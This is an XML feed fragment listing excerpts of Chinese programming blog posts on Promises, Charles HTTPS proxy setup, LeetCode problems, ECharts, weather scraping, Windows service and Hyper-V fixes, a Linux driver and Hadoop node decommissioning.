      <description>文章目录 前言1 终值（resolve）和拒因（reject）2 then3 then链4 then的顺延和async和await的使用4.1 `.catch`语法糖4.2 async和await的使用（只能返回成功的结果）4.3 try catch finally（能够返回失败的结果） 前言 本质是一个类：Promise（翻译：承诺；保证）&#xA;创建对象：new Promise时，传的函数叫执行器 这个执行器是立即执行的&#xA;作用：promise是为了让你更加优雅写异步代码，避免回调地狱。&#xA;回调地狱&#xA;回调地域，表示回调函数中嵌套回调函数。&#xA;利用回调函数实现异步有什么不足：如果层数非常多，就会出现回调地域，代码的可读性不好。&#xA;创建出来的promise对象有三个状态： 1）默认情况下，处于pending状态 pendding是等待 2）成功状态，fulfilled 3）失败状态，rejected 注意： 1）处理等待状态的promise，要么转化成成功状态的promise，要么转化成失败的promise。不可能既成功又失败。 2）如果一个promise从等待转化成了成功状态，就不可以再转化成失败状态。 3）如果一个promise从等待状态转化成了失败状态，就不可能再转化成成功的状态。 1 终值（resolve）和拒因（reject） 在执行器中，有两个参数，一个resolve，一个叫reject:&#xA;resolve（翻译：解决；决心）：调用 resolve 以让promise对象从等待状态变成成功状态，调用resolve，可以传递一个终值（value）。reject（翻译：拒绝）：调用 reject 可以让promise从等待状态变成失败状态，调用reject，可以传递一个拒因（reason）。 new Promise时，传的函数叫执行器 这个执行器是立即执行的。&#xA;let p1 = new Promise(function(resolve,reject){//两个参数 // &#34;包包&#34;叫终值 成功的结果 // resolve(&#34;包包&#34;) // 一旦成功了，就不能再转成失败态 // &#34;没钱&#34;叫拒因 失败的结果 reject(&#34;没钱&#34;); }); // console.log(p1); // Promise { &amp;lt;pending&amp;gt; } pending是等待的意思 // console.log(p1); // Promise { &#39;包包&#39; } console.</description>
    </item>
    <item>
      <title>charles 手机证书下载安装</title>
      <link>https://bchobby.github.io/posts/fa87e3565e4085b7af1cfec04095f0eb/</link>
      <pubDate>Fri, 09 Jul 2021 19:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa87e3565e4085b7af1cfec04095f0eb/</guid>
      <description>charles 手机证书下载安装&#xA;本文的Charles，适应windows/MAC/IOS/Android,避免抓包HTTPS失败和乱码；&#xA;用的版本是V4.1.2，其它版本原理类似；&#xA;charles如果不配置SSL通用证书；&#xA;会导致HPPTS协议的域名抓取失败/乱码的现象；&#xA;现在SSL越来越多，很多博客都上了SSL，支付相关的行业更是基础配置；&#xA;charles配置SSL证书，算起来很简单，操作简洁；&#xA;首先分析我们需要怎么做？&#xA;第一步：电脑端安装 Charles 的 CA 证书（必须）&#xA;charles需要下载安装ssl/https证书，因为charles是作为中间的过滤器使用的，具体原理请查看 charles使用教程&#xA;这样你就可以访问PC端的https资源了，windows/MAC原理一样；&#xA;第二步：电脑上charles的SSL抓取设置（必须）&#xA;charles并不是默认抓取ssl的，所以即使你安装完证书之后，Charles 默认也并不截取 Https的信息，你需要在SSL proxy里设置需要抓的域名；&#xA;当然如果你想抓取手机端的HTTPS相关资源，还需要下面的第三步；&#xA;（还不会手机抓包普通HTTP的，请点击 charles手机抓包设置 ）&#xA;第三步：手机安装SSL证书；&#xA;无论IOS/Android,都需要安装SSL证书，原理是手机的SSL证书与电脑上charles SSL证书对接；&#xA;*****************************具体的操作方法**********************************&#xA;第一步：电脑安装SSL证书&#xA;选择 “Help” -&amp;gt; “SSL Proxying” -&amp;gt; “Install Charles Root Certificate”，如果设置了安全防护，会ranging输入系统的帐号密码。&#xA;会让你开始安装charles的证书操作；&#xA;一路下一步即可；&#xA;第二步，配置SSL的抓取域名；&#xA;你可以单独配置，必须看到某个想要抓取的域名，右键点击“SSL proxying ：Enableed”那么当前你设置后的域名，再次访问就可以抓到了；设置如下图&#xA;我个人并不喜欢这种的设置；每次都需要一个一个的配置，很蛋疼；&#xA;可以看到我上面的配置，那个“SSL proxying ：Enableed”配置 默认就是灰色的，这是因为我做了通用设置的原因；我是设置为所有的HTTPS协议全部允许捕获；&#xA;我的设置如下；&#xA;首先找到proxy – SSL Proxying Settings；&#xA;然后选中启用SSL代理（Enable SSL Proxying），因为charles的location配置都是支持通配符的，所以在HOST里设置一个”*”就可以了，port不写；&#xA;如果你需要配置某个指定域名，也是在这里填写的；&#xA;配制特定域名的时候，一般port为443（SSL常规为443）；&#xA;这样，你就可以愉快的抓取到HTTPS的内容了；&#xA;第三步：手机安装SSL证书（如果你需要抓取手机访问的HTTPS网站，需要做此设置，但如果你不需要手机抓取HTTPS，就没有必要安装了）&#xA;和上面类似，也是HTLP下面的 SSL Proxying，选择”Install Charles Root Certificate on a Mobile Device or remote Browser” （在移动设备或远程浏览器上安装SSL证书）</description>
    </item>
    <item>
      <title>479 最大回文数乘积（暴力枚举）</title>
      <link>https://bchobby.github.io/posts/1b014ccf60924822f992aa299bacd81c/</link>
      <pubDate>Fri, 09 Jul 2021 18:05:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b014ccf60924822f992aa299bacd81c/</guid>
      <description> 1. 问题描述：&#xA;你需要找到由两个 n 位数的乘积组成的最大回文数。&#xA;由于结果会很大，你只需返回最大回文数 mod 1337得到的结果。&#xA;示例:&#xA;输入: 2&#xA;输出: 987&#xA;解释: 99 x 91 = 9009, 9009 % 1337 = 987&#xA;说明:&#xA;n 的取值范围为 [1，8]。&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/largest-palindrome-product&#xA;2. 思路分析：&#xA;分析题目可以知道最容易想到的思路是暴力枚举，这里使用到的一个技巧是每一次不是枚举两个数字然后再判断是否是回文数这里我们可以从大到小枚举回文数，也即从大到小枚举答案这样当我们找到两个n位数相乘的回文数之后可以直接返回。我们可以先生成当前n位数的最大值，将其转换为字符串之后得到a，将a翻转之后可以得到字符串b，那么num = a + b就是当前最大的回文串，使用一个循环来枚举能够凑成num的两个数字，可以枚举较大的那个数字，设较大的那个数字为a1，较小的数字为b1，则a1 &amp;gt;= b1，那么循环的条件为a1 * a1 &amp;gt;= num，因为如果a1 * b1能够拼成num，那么必然存在a1 * a1 &amp;gt;= a1 * b1 = num。&#xA;3. 代码如下：&#xA;class Solution: def largestPalindrome(self, n: int) -&amp;gt; int: # 当n = 1的时候只有3 * 3 = 9才是回文数其余的都不是 if n == 1: return 9 # maxv为n位数字的最大值 maxv = 10 ** n - 1 i = maxv while i: a = str(i) b = a[::-1] num = int(a + b) j = maxv # j * j要大于num才枚举 while j * j &amp;gt;= num: if num % j == 0: return num % 1337 j -= 1 i -= 1 return 0 </description>
    </item>
    <item>
      <title>5分钟使用Echarts轻松实现地图下钻</title>
      <link>https://bchobby.github.io/posts/64304856722c8e2dd814b2150a5093d1/</link>
      <pubDate>Fri, 09 Jul 2021 16:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64304856722c8e2dd814b2150a5093d1/</guid>
      <description> 在数据可视化中，地图是很重要的一个环节，很多时候需要展现的不仅是国家地图，还需要能从国家进入到省市。这个逐级进入的过程就是我们今天说的地图下钻。&#xA;地图下钻看起来很屌、很高大上，但是仔细琢磨一下，技术实现上真的很简单。&#xA;实现思路 这里以中国地图为例&#xA;•获取中国地图的 JSON 数据•绘制中国地图•监听下级层次地图（省级）的点击事件•获取所点击省份的 JSON 数据•擦除中国地图并重新绘制点击省份地图•递归上述过程直到市县级&#xA;技术实现 实现地图下钻效果需要庞大的地图数据，一个一个地图去下载真的是太浪费时间了，这里给大家介绍一个强大的地图API。&#xA;地址： http://datav.aliyun.com/tools/atlas 通过网址大家一定能看得出来点东西，没错，这个 API 就是传说中的大屏数据可视化天团-阿里 DataV 团队提供的。&#xA;为了给大家更加直观的展现地图下钻的实现过程，这里使用简单易懂的 Echarts 来实现。&#xA;定义绘制地图的方法 地图下钻的过程，需要不断的绘制地图，因此，首先定义一个绘制地图的函数。&#xA;这个函数共 4 个参数， geoJson 为地图 JSON 数据，name 为地图标题名称，chart 是 Echarts初始化实例，alladcode 是全国省市县的 adcode 代码数组(同样通过请求 API 获得)。这个所有的adcode地址不好找，给大家列出来：&#xA;https://geo.datav.aliyun.com/areas_v2/bound/all.json 地图绘制函数中使用了递归的方法。大家看下源码理解一下，应该很好理解的。&#xA;这里所有的地图数据请求均是通过 jQuery 的 Ajax 请求实现的。&#xA;实现地图下钻 我们定义好绘制地图的函数后，按照常规思路读取中国地图 JSON 数据并调用这个绘图函数，地图下钻完成！是不是很简单？&#xA;效果欣赏 小结 总结一下，实现地图下钻的过程，绘制中国地图，监听省份点击事件，点击省份获取对应省份地图 JSON 数据，然后递归上述过程即可。&#xA;这里仅仅是地图下钻的简单实现，有兴趣的小伙伴可以进一步优化实现，得到更加优美流畅的结果。&#xA;源码地址： https://xuxiaoyang.github.io/echarts/chinaDrill.html </description>
    </item>
    <item>
      <title>【记录爬虫实战过程】入门学习·详细过程·爬取天气信息并通过pyecharts进行可视化展示2</title>
      <link>https://bchobby.github.io/posts/29bf88e1ebf672b267422e73199fc155/</link>
      <pubDate>Fri, 09 Jul 2021 16:33:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29bf88e1ebf672b267422e73199fc155/</guid>
      <description>文章目录 前言正文1.导入要用的包2.读取CSV数据3.处理数据3.1. 日期数据3.2. 月份数据3.3. 设置列名3.4. 取出可视化要用的数据3.5. 将数据可视化 完整代码遇到的问题 前言 主要内容：&#xA;爬取某城市天气信息，将一整年里每月份的各种天气出现次数以可视化形式展现出来&#xA;跟着b站教学视频做的&#xA;主要是提供自己初步学习爬虫的过程，为他人做个参考&#xA;准备：&#xA;用的vscode写的，没有特殊要求，如何安装库也有详细方法介绍&#xA;代码过程很详细，应该都能看懂，不需要大量知识储备。但是每个函数对应的详细讲解还是要靠自己了解，本文没有展开细讲&#xA;正文 这是文章的第一部分，讲了数据爬取和数据处理部分，并且以CSV形式进行了存储，接下来将数据进行可视化展示&#xA;第二部分：数据可视化&#xA;新建立了一个文件 data_show.py&#xA;1.导入要用的包 需要先导入pandas和pyecharts包，具体导入过程可以参考这篇文章在vscode环境里导入python库&#xA;#需要先导入pandas和pyecharts包 import pandas as pd #pandas主要用于数据分析 #可视化 from pyecharts import options as opts #导入配置项 from pyecharts.charts import Pie,Bar,Timeline #导入图形项 2.读取CSV数据 读取CSV数据存入df&#xA;视频里面用的是’gb18030’解码方式，但是我解码出来是乱码，后来试了一下’utf-8’解出来就可以了，这两种哪种可以就用哪种&#xA;还有一种解码是’gbk’,因为’gb18030’包含’gbk’，所以使用’gb18030’更好&#xA;#读取数据 #df=pd.read_csv(&#39;weather.csv&#39;,encoding=&#39;gb18030&#39;) # 可以使用&#39;gb18030&#39;或者‘utf-8’，哪个能跑出来结果就用哪个，其中gb18030范围比gbk大点 df=pd.read_csv(&#39;weather.csv&#39;,encoding=&#39;utf-8&#39;) #测试 #print(df[&#39;日期&#39;]) 这是CSV文件最终呈现效果&#xA;（我在vscode里面装了一个Rainbow CSV插件，让CSV里面每列数据颜色不一样，方便查看）&#xA;3.处理数据 3.1. 日期数据 将string字符串类型的日期数据转换成datetime日期格式的数据&#xA;用了匿名函数lambda，比较简单，自行学习&#xA;df[&#39;日期&#39;]=df[&#39;日期&#39;].apply(lambda x:pd.to_datetime(x)) 3.2. 月份数据 因为要根据每个月的数据进行整合，所以用groupby() 函数分组，把数据存入df_agg&#xA;df[&#39;month&#39;]=df[&#39;日期&#39;].dt.month #取出月份这个数据，方便后面进行统计 df_agg=df.</description>
    </item>
    <item>
      <title>opencv_SKimage_python数字图像处理网站资源汇总</title>
      <link>https://bchobby.github.io/posts/306fa6ae1fe008ecabffe0cb0e385ad0/</link>
      <pubDate>Fri, 09 Jul 2021 15:05:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/306fa6ae1fe008ecabffe0cb0e385ad0/</guid>
      <description>opencv-python 图像轮廓: link.&#xA;形态学开闭运算:link.&#xA;SKimage 目录1:link.&#xA;目录2：limk.</description>
    </item>
    <item>
      <title>计算机无法终止1053,win10系统无法启动或停止“Modules installer服务”提示错误1053的教程...</title>
      <link>https://bchobby.github.io/posts/42f1723cc1cf99f0e2dfebd8941df046/</link>
      <pubDate>Fri, 09 Jul 2021 13:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42f1723cc1cf99f0e2dfebd8941df046/</guid>
      <description>有关win10系统无法启动或停止“Modules installer服务”提示错误1053的操作方法想必大家有所耳闻。但是能够对win10系统无法启动或停止“Modules installer服务”提示错误1053进行实际操作的人却不多。其实解决win10系统无法启动或停止“Modules installer服务”提示错误1053的问题也不是难事，小编这里提示两点：1、在开始搜索框键入“services.msc”命令，按回车键打开本地服务设置窗口； 2、在右侧窗口找到并双击“windows Modules installer”服务；；掌握这些就够了。如果还想了解更多详细内容，可继续学习下面关于win10系统无法启动或停止“Modules installer服务”提示错误1053的操作方法的介绍。&#xA;推荐：&#xA;方法一：&#xA;1、在开始搜索框键入“services.msc”命令，按回车键打开本地服务设置窗口；&#xA;2、在右侧窗口找到并双击“windows Modules installer”服务；&#xA;3、进入“常规”选项卡设置界面，复制以下可执行文件的路径；&#xA;4、单击左下角的“开始”菜单，单击“运行”项；&#xA;5、在运行对话框中键入“regedit”命令，按回车键打开注册表编辑器；&#xA;6、在左侧窗口依次展开以下分支：HKEY_LoCAL_MACHinE/sYsTEM/CurrentControlset/services/Trustedinstaller，双击右侧窗口的“imagepath”键值，将刚才复制的可执行文件路径粘贴进去，单击“确定”。&#xA;方法二：&#xA;1、单击“开始”菜单，单击“所有程序”，单击“附件”，在命令提示符上鼠标右键“以管理员身份运行”；&#xA;2、然后再打开命令提示符窗口键入以下命令，按回车键即可写入注册表。&#xA;01sc config Trustedinstaller binpath= “%systemRoot%/servicing/Trustedinstaller.exe” 复制代码 sc config Trustedinstaller binpath= “%systemRoot%/servicing/Trustedinstaller.exe”&#xA;关于win10系统无法启动或停止“Modules installer服务”提示错误1053如何解决就给大家介绍到这边了，遇到这样情况的用户们可以采取上面的方法来处理，相信可以帮助到大家。</description>
    </item>
    <item>
      <title>【记录爬虫实战过程】入门学习·详细过程·爬取天气信息并通过pyecharts进行可视化展示1</title>
      <link>https://bchobby.github.io/posts/0b7088fbdeadaeef3d498e9ddfd5aa57/</link>
      <pubDate>Thu, 08 Jul 2021 23:56:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b7088fbdeadaeef3d498e9ddfd5aa57/</guid>
      <description>文章目录 前言正文1.导入对应模块2.确定爬取的网站3.得到数据4.数据处理5.将所得数据写入CSV 完整代码补充：数据可视化 前言 入门学习这个部分是跟着b站教学视频做的，记录了所有过程和代码。&#xA;然后在此基础上自己进行了扩展，简单地搭建了一个flask页面，可以自己输入要查找的城市和年份，返回该城市这一年的平均天气情况。&#xA;这是记录自我扩展部分的文章进阶学习·详细过程·爬取天气信息1（python+flask+pyecharts）&#xA;入门学习的效果图：用pyecharts做了一个时间轴，以可视化形式展示了每个月各种天气的对应次数&#xA;本篇会记录详细过程、遇到的问题及解决方案和全部代码的展示&#xA;照着代码敲就可以，基本不需要什么基础（毕竟我也是个新手，正在学习过程中）&#xA;正文 第一部分：数据爬取+处理&#xA;1.导入对应模块 import requests #替代浏览器进行网络请求 from lxml import etree #进行数据预处理 import csv #写入csv文件 2.确定爬取的网站 爬取网站为：https://lishi.tianqi.com/&#xA;选择对应的城市，此处我选择重庆，即爬取 https://lishi.tianqi.com/chongqing/ 网站内的天气信息&#xA;因为要爬取全年的信息，所以选择去年的天气&#xA;发现每个月天气对应的网站链接是有规律的&#xA;选择一月&#xA;选择六月&#xA;即发现url规律为 https://lishi.tianqi.com/chongqing/+年份+月份.html&#xA;将中间的“年份+月份”的变量命名为weather_time&#xA;其中，某些月份对应的数字需要进行处理，比如六月份要写成06，而不是6&#xA;将得到的月份信息都转化成string类型&#xA;&#39;&#39;&#39;得到url&#39;&#39;&#39; #发现url规律 +年份+月份.html for month in range(1,13): #range()左闭右开 #某年某月的天气信息 if month&amp;lt;10: weather_time=&#39;2020&#39;+(&#39;0&#39;+str(month)) else: weather_time=&#39;2020&#39;+str(month) #也可以将上面的写成简洁的三元表达式 #weather_time=&#39;2019&#39;+(&#39;0&#39;+str(month) if month&amp;lt;10 else str(month)) url=f&#39;https://lishi.tianqi.com/chongqing/{weather_time}.html&#39; 3.得到数据 得到网站后，爬取天气信息并封装代码&#xA;写一个函数getWeather(url) 用于获取天气信息&#xA;3.1.&#xA;先在里面构造一个空列表weather_info=[]，存储信息格式为[{‘日期’:…,‘最高气温’:…,‘天气’:…},{‘日期’:…,‘最高气温’:…,‘天气’:…}…]，即记录每个日期对应的最高气温，天气等等信息&#xA;3.2.&#xA;设置一个请求头header。（如何得到该请求头请自行百度，很简单&#xA;3.3.&#xA;用 requests.</description>
    </item>
    <item>
      <title>python Nan和None的区别以及转换</title>
      <link>https://bchobby.github.io/posts/199cf4ed3ffd0ce2bd9b2811ff05d4e3/</link>
      <pubDate>Thu, 08 Jul 2021 22:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/199cf4ed3ffd0ce2bd9b2811ff05d4e3/</guid>
      <description>1、None类型为NoneType NaN类型为float&#xA;2、都能组成字典的Key {None:1} {Nan:1},并且认为为不同的key&#xA;3、Series函数中的表现：&#xA;s = Series([None, NaN, &#39;a&#39;]) s.map({None:1,&#39;a&#39;:&#39;a&#39;}) s.map({NaN:1,&#39;a&#39;:&#39;a&#39;})&#xA;s都转为1了&#xA;s.map({NaN:2,&#39;None&#39;:1,&#39;a&#39;:&#39;a&#39;})&#xA;NaN转为2，None不变</description>
    </item>
    <item>
      <title>嵌入式 printf的几种办法 (ITM、SWO、semihosting、Keil Debug Viewer、RTT、串口重定向printf)</title>
      <link>https://bchobby.github.io/posts/e58e6f0742e2e6d534297ac2785980ea/</link>
      <pubDate>Thu, 08 Jul 2021 15:15:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e58e6f0742e2e6d534297ac2785980ea/</guid>
      <description>嵌入式/单片机printf的几种办法: 关键词：名词释义参考博客(大牛)打印的几种方式printf1软件仿真printf2串口重定向printf3SWO打印输出printf3.1名词释义3.2硬件接线3.3软件配置3.3.1SWO管脚配置3.3.2重定向代码添加3.3.3使用keil查看、设置3.3.3使用JLINK-SWO Viewer查看、设置 3.4查看效果3.5 SWO的其他功能 4Link-RTT打印输出5总结 关键词： ITM、SWO、semihosting、Keil Debug Viewer、RTT、串口重定向printf。&#xA;名词释义 ITM: https://blog.csdn.net/hanchaoman/article/details.&#xA;SWO: https://blog.csdn.net/weixin_30407613/article/details.&#xA;semihosting:半主机模式 https://blog.csdn.net/yhneng/article/details/6299893.&#xA;需要注意的是，我并没有学会半主机模式，该方式似乎是对调试器有特殊要求，JLINK不能实现，并且ARM后面又推出了ITM机制，所以下文不再讲述半主机的printf方式&#xA;Keil Debug Viewer : https://blog.csdn.net/yhneng/article/details/6299893.&#xA;参考博客(大牛) https://blog.csdn.net/ybhuangfugui/article/details/94378013&#xA;打印的几种方式printf 1.软件仿真打印输出&#xA;2.串口UART打印输出&#xA;3.SWO打印输出&#xA;4.JLink-RTT打印输出&#xA;printf方式优点缺点软件仿真printf无须硬件很多项目不能运行串口打印适用于正式运行产品、无须调试器串口打印耗时，影响MCU的实时性SWO打印不影响MCU的实时性必须使用仿真器RTT打印不影响MCU的实时性必须使用JLINK 来看一下实时性的对比图：&#xA;打印82个字符&#xA;RTT仅耗时1us&#xA;SWO耗时120us（速率设置为1500Khz）&#xA;半主机模式耗时10.7ms&#xA;串口打印耗时约1ms（波特率115200情况下）&#xA;在实时性上，RTT &amp;gt; SWO &amp;gt;串口 &amp;gt;半主机模式&#xA;1软件仿真printf 何为软件仿真printf? 就是只在集成开发环境中模拟printf仿真输出，不需要连接开发板（硬件MCU）即可实现。&#xA;这种方法非常不推荐，因为软件仿真与真实环境有很大的差异，很多工程代码，在软件仿真的时候根本跑不了。就会出现卡在某个地方不动的尴尬情况（软件仿真的时候会有绿色的方框，如下图）&#xA;如果你不清楚，可以参照，以下所有的博客都是指的软件仿真：&#xA;软件仿真https://blog.csdn.net/ybhuangfugui/article/details/94378195?&#xA;半主机模式的软件仿真https://blog.csdn.net/zhc335134701/article/details/81261070?&#xA;keil软件仿真https://blog.csdn.net/weixin_45380951/article/details/103372085?.&#xA;没错，基本上博客写明Use Simulator ，并修改Dialog DLL的情况都是软件仿真。&#xA;2串口重定向printf 这种方式有非常多的博客可以参考，例如：&#xA;串口重定向博客1https://blog.csdn.net/qq_39101111/article/details&#xA;串口重定向博客2https://blog.csdn.net/zouleideboke/article/details&#xA;串口重定向博客3https://blog.csdn.net/qq_22329595/article/details&#xA;该方式比较简单，不再重复论述。&#xA;3SWO打印输出printf 3.1名词释义 先看此博客使用SWO代替UART，实现Printf打印功能https://blog.csdn.net/qq_37663138/article/details&#xA;再稍微解释一下：&#xA;1 在Cortex-M3\M4\M7系列MCU中，内核的调试组件有一个仪器跟踪宏单元(ITM) 。请注意如果你的芯片是 Cortex-M0 或者其他ARM内核，不支持ITM</description>
    </item>
    <item>
      <title>《力扣算法训练提升》图解数组篇-打卡数组统计-【435】最小移动次数使数组元素相等</title>
      <link>https://bchobby.github.io/posts/089effdd75ea2de2b0315323df59cbbd/</link>
      <pubDate>Thu, 08 Jul 2021 10:40:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/089effdd75ea2de2b0315323df59cbbd/</guid>
      <description>《力扣算法训练提升》图解数组篇-打卡数组统计-【435】最小移动次数使数组元素相等 ​&#xA;数组的基本特性 数组是最简单的数据结构。&#xA;数组是用来存储一系列相同类型数据，数据连续存储，一次性分配内存。&#xA;数组中间进行插入和删除，每次必须搬移后面的所有数据以保持连续，时间复杂度 O(N)。&#xA;囧么肥事今日打卡题目 力扣【435.最小移动次数使数组元素相等】&#xA;给定一个长度为 n 的 非空 整数数组，每次操作将会使 n - 1 个元素增加 1。找出让数组所有元素相等的最小操作次数。&#xA;具体描述&#xA;解题讨论 跨步计算示例&#xA;讨论归纳&#xA;第一步：排序 第二步：遍历数组，计算跨步，即最大值和最小值差值 第三步：累加跨步 动画模拟 示例一：跨步计算&#xA;// 排序后计算跨步，最大值到最小值跨步累加就是操作次数 public static int minMoves(int[] nums) { // 4 1 9 3 // 1 3 4 9 排序后 // 9 11 12 9 跨步：8 // 12 14 12 12 跨步：3 // 14 14 14 14 跨步：2 Arrays.sort(nums); int count = 0; int min = nums[0]; int step = 0; for (int i = nums.</description>
    </item>
    <item>
      <title>matlab中figure的基本用法</title>
      <link>https://bchobby.github.io/posts/6e743b361e482fd1c409f5ffc0afa45b/</link>
      <pubDate>Thu, 08 Jul 2021 00:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e743b361e482fd1c409f5ffc0afa45b/</guid>
      <description> 执行：&#xA;figure(); 会显示一个标题为Figure1的窗口。&#xA;figure(); figure(); 这样的话就会显示两块窗口，名字分别为Figure1，Figure2。&#xA;figure(&#39;Name&#39;, &#39;显示图片&#39;); 在括号中加入(‘Name’, ’ &#39;)，给窗口命名。&#xA;如果想要不显示前边的figure，可以在后边加上’NumberTitle’, ‘off’&#xA;figure( &#39;Name&#39;, &#39;显示图片&#39;,&#39;NumberTitle&#39;, &#39;off&#39;); 改变窗口的位置和大小要用到(‘Position’,[100, 100, 300, 200]),[]中前两个数值代表以左下角为原点的窗口的位置，后两个数值代表窗口的大小。&#xA;比如：&#xA;figure( &#39;Name&#39;, &#39;显示图片&#39;,&#39;NumberTitle&#39;, &#39;off&#39;,&#39;Position&#39;,[100, 100, 300, 200]); </description>
    </item>
    <item>
      <title>在vscode环境里导入python库（三种方法） | 详细过程</title>
      <link>https://bchobby.github.io/posts/b672f5b55e4f4809dd1492c265eb47bb/</link>
      <pubDate>Wed, 07 Jul 2021 16:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b672f5b55e4f4809dd1492c265eb47bb/</guid>
      <description>文章目录 方法一：配置在vscode环境里方法二：直接在vscode里面导入方法三：利用anaconda导入 如果vscode存储位置和代码存储位置不一致时，个人推荐第一种方法&#xA;方法一：配置在vscode环境里 步骤如下&#xA;1.打开vscode，随便运行一串代码，下方会有python具体安装路径出现&#xA;也就是这里c盘的地址（后面d盘的地址是我运行代码的保存地址，不用管&#xA;截取前面部分，即C:\Users\Rover\AppData\Local\Programs\Python\Python38-32&#xA;2.在电脑对应地址打开该文件夹，找到Scripts文件夹，进入，会发现有一个pip.exe,这就是用来安装的工具。&#xA;然后复制改文件夹地址： C:\Users\Rover\AppData\Local\Programs\Python\Python38-32\Scripts&#xA;3.win+r打开cmd，输入-cd C:\Users\Rover\AppData\Local\Programs\Python\Python38-32\Scripts 进入该文件夹&#xA;4. 此处以安装 python-pptx 为例，输入 -pip install python-pptx（替换成任意库名即可&#xA;5. 自动下载成功后会出现如下提示&#xA;到此结束&#xA;扩展： 他提醒我对pip进行升级，输入指令 python -m pip install --upgrade pip或者python.exe -m pip install --upgrade pip 即可&#xA;输入指令：&#xA;成功！&#xA;方法二：直接在vscode里面导入 在控制台输入 pip install option（写导入的库名，比如这里导入option）&#xA;方法三：利用anaconda导入 参考这篇文章通过anaconda安装python库</description>
    </item>
    <item>
      <title>Linux驱动开发（从零开始编写一个驱动程序）</title>
      <link>https://bchobby.github.io/posts/32ae106b12a675004e081e6fe2fcfc1e/</link>
      <pubDate>Tue, 06 Jul 2021 23:57:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32ae106b12a675004e081e6fe2fcfc1e/</guid>
      <description>1、系统整体工作原理&#xA;(1)应用层-&amp;gt;API-&amp;gt;设备驱动-&amp;gt;硬件&#xA;(2)API：open、read、write、close等&#xA;(3)驱动源码中提供真正的open、read、write、close等函数实体&#xA;2、file_operations结构体（用来挂接实体函数地址）&#xA;(1)元素主要是函数指针，用来挂接实体函数地址&#xA;(2)每个设备驱动都需要一个该结构体类型的变量&#xA;(3)设备驱动向内核注册时提供该结构体类型的变量&#xA;3、注册字符设备驱动&#xA;驱动向内核注册函数register_chrdev()在(#include &amp;lt;linux/fs.h&amp;gt;)中&#xA;4.从零开始编写一个驱动程序&#xA;首先应该有一个最简单的驱动程序原型，详细可见博客中-》linux驱动开发（最简单的驱动模块，内核printk函数）这篇。&#xA;(1)先定义file_operations结构体变量，在工程中随便搜索一个file_operations结构体变量看别人怎样定义的，再修改成自己想要的。&#xA;(2)open和close函数原型确定、内容填充。&#xA;找到file_operations结构体中的open函数，跳到open函数定义的地方，复制别人的open函数，修改成自己想要的，其他函数一样的道理。&#xA;(3)模块安装，注册驱动。&#xA;往模块安装函数里面添加注册驱动函数，以及返回值的检测。&#xA;主设备号的选择(cat /proc/devices 查看当前可用的主设备号，确定没用过的先随便定一个)&#xA;(4)模块卸载,&#xA;(5)最后编写好的驱动模块&#xA;#include &amp;lt;linux/module.h&amp;gt;&#x9;// module_init module_exit #include &amp;lt;linux/init.h&amp;gt;&#x9;// __init __exit #include &amp;lt;linux/fs.h&amp;gt; #define MYMAJOR&#x9;200 #define MYNAME&#x9;&#34;testchar&#34; int mymajor; static int test_chrdev_open(struct inode *inode, struct file *file) { // 这个函数中真正应该放置的是打开这个设备的硬件操作代码部分 // 但是现在暂时我们写不了这么多，所以用一个printk打印个信息来做代表。 printk(KERN_INFO &#34;test_chrdev_open\n&#34;); return 0; } static int test_chrdev_release(struct inode *inode, struct file *file) { printk(KERN_INFO &#34;</description>
    </item>
    <item>
      <title>Windows10中，安卓模拟器与docker环境要求的虚拟技术冲突导致电脑蓝屏的解决办法</title>
      <link>https://bchobby.github.io/posts/92469724ba6e9a45e528954fc86534d2/</link>
      <pubDate>Tue, 06 Jul 2021 19:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92469724ba6e9a45e528954fc86534d2/</guid>
      <description> 【问题背景】 电脑：Windows10系统，安装了docker&#xA;【操作步骤及现象】 打开已经安装的逍遥安卓模拟器电脑蓝屏重启，每次都会蓝屏 【问题原因】 在windows 10 系统上，我们会用vmware，virtual box ，hyper-v，安卓模拟器，360安全卫士的晶核模式等等，而这些都依赖vt技术，而vt只能独占，不能共用，所以，当你考虑让某个软件使用的时候，考虑让其他的程序不使用vt。&#xA;【解决办法】 1. 打开控制面板-&amp;gt;程序-&amp;gt;启用或关闭Windows功能，去掉勾选的hyper-v选项，重启电脑&#xA;2. 步骤1中，hyper-v并没有关闭彻底，需要使用bcedit指令进行关闭，操作步骤为：&#xA;按下键盘：win+x键，选择windows powershell(管理员)，执行以下命令&#xA;bcdedit /set hypervisorlaunchtype off 3. 重启电脑后即可正常打开安卓模拟器&#xA;【备注】 如果想要开启hyper -v，使用以下命令：&#xA;bcdedit / set hypervisorlaunchtype auto </description>
    </item>
    <item>
      <title>Hadoop删除节点（slave2）</title>
      <link>https://bchobby.github.io/posts/dde8e1c98a2bb6359fd54665273f9406/</link>
      <pubDate>Tue, 06 Jul 2021 16:46:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dde8e1c98a2bb6359fd54665273f9406/</guid>
      <description>临时删除节点 hadoop-daemon.sh stop datanode hadoop-daemon.sh stop tasktracker 1在master中配置hdfs-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.hosts.exclude&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/usr/hadoop/hadoop-2.7.7/etc/hadoop/excludes&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 2将需删除的节点机器名添加到文件中 vim /usr/hadoop/hadoop-2.7.7/etc/hadoop/excludes #添加slave2 slave2 3主节点刷新 hadoop dfsadmin -refreshNodes 查看存活节点&#xA;hadoop dfsadmin -report 正在执行Decommission，会显示： Decommission Status : Decommission in progress&#xA;执行完毕后，会显示： Decommission Status : Decommissioned&#xA;4slave2上关闭进程 yarn-daemon.sh stop nodemanager hadoop-daemon.sh stop datanode #数据块均衡 